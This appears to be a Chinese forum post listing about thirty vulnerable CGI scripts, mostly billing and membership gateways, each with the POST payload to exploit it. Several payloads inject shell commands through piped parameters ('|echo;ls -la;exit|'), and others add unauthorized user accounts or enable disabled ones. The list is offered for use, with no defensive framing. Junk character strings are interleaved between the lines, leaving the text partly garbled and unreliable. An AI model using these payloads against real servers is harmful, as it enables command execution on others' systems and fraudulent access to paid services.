Cgi-bin 30个漏洞＋使用方法

admin

==============================
8 B" t% u; O* Y/ w! g1 w
/smspass.pl
username=username&password=password
+ Q  c! x4 `9 F& g0 P( m
/index.cgi
, |5 _+ ~  t& M% ^wei=ren&gen=command
- Y  E, p8 T% \3 l7 R
/passmaster.cgi
9 i4 i! n: ?8 ~7 j$ O: FAction=Add&Username=Username&Password=Password

/accountcreate.cgi
% ^9 @* P% k5 n6 z! ^/ y' ]username=username&password=password&ref1=|echo;ls|

/form.cgi
. `" _' u9 g% [. M$ {* L# Bname=xxxx&email=email&subject=xxxx&response=|echo;ls|
3 f- f3 s6 S# F7 T
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
6 [6 h9 x8 ?0 Q( kuser=username&pass=Password&confirm=Password
# H7 O; i4 l  `
) t5 Z. j, C2 M+ w7 H$ Y/ccbill-local.asp
post_values=username:password

7 e; l# O( c# F; E2 n/count.cgi
4 G4 I3 y- Q) R# }. vpinfile=|echo;ls -la;exit|

/recon.cgi
; L+ B1 K7 o' L% k4 D5 J* W/recon.cgi?search
+ L( F" a! U3 S. O9 D( [. Hsearchoption=1&searchfor=|echo;ls -al;exit|
0 Q* x* f3 g1 ~2 \
/verotelrum.pl
9 S+ v8 x) e) F" b2 mvercode=username:password:dseegsow:add:amount<&30>
* e1 I, S( \: ]; `) a+ |+ ?
/af.cgi
, H3 ~( Y% R. H4 O_browser_out=|echo;ls -la;exit;|
( S7 S4 I% H- J% Q) f6 w
6 v: v* C! M# `" G" U4 X, ^1 S/modify.cgi
# E# x8 u9 z: ~( k4 P# `& a$ Nusername=username&password=password&expire=30
, k& d0 ]6 w0 t4 ~1 E
/openjournal.cgi
; D. Q- k" `& \* Q8 ~edit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/probecontrol.cgi
& ]6 A/ f2 l) Dcommand=enable&username=username&password=password

0 S. B1 H0 O4 g/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

/htadd.pl
configfile=|echo; ls -alt; exit

/gx9passwd.cgi
  X9 d# ?4 q6 q7 e& t+ Ccmd=ADD&user=username&pass=password
6 ~0 W' `, t+ y+ b/ J& S2 \
4 _1 V& J$ U0 u+ i" l/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
! w2 x$ v1 ^: O& N7 n& ^5 P! j+ Y4 X
* U- N! _- F1 K5 I5 l! C/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
0 ^( ^6 `2 l5 S7 P2 d4 D) y
/globill_ut.cgi
; z& Z& u- v6 y9 @% ^do=add&username=username&password=password&wpassword=password
, k- k) k* c5 ?6 s* e7 ^! E
/usercontrol.cgi
command=enable&username=USER&password=PASS
4 A" Z9 _2 O% d5 Y+ {; G3 Z7 ?
* r' o" R- |0 X2 J- u' Q$ `/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS

! E9 U7 z- F  k! b# {/ ^/pincount.cgi
7 U2 ^) ?, l9 w/cgi-bin/mastergate/pincount.cgi
, H' K; R* ]+ }  j2 k! opinfile=|echo;pwd;exit|

7 z- o- g) x+ g) Q1 i/accountcreate.cgi
7 p% N& c( N' j4 ?) U; W0 t$ w/cgi-bin/gateway/accountcreate.cgi
) V% A- i  \6 c. o# l  q$ _username=username&password=password&password2=password&ref1=|echo;ls -al;exit

$ ?. a8 J* q2 _& }' J$ r0 V+ {/af.cgi
/env.cgi
7 ?" f, z+ U0 A; j( \ADD+;echo;pwd;exit
: x4 B* z0 E6 P  [: ~0 o  R! A
# B$ M5 Z9 p: D. o; `# r/count.cgi
pinfile=|echo;pwd;exit|
2 g4 a7 d. r, m, F
/recon.cgi
9 b1 }" T# P3 m1 g, q6 Psearchoption=1&searchfor=|echo;ls%20-al;exit|
" w+ ]) E( W% B/ T5 D1 P3 M9 D
/add.cgi
3 t1 G7 k; S, H% E$ d4 E( ~# ~) ^username=username&password=password&expire=30

==============================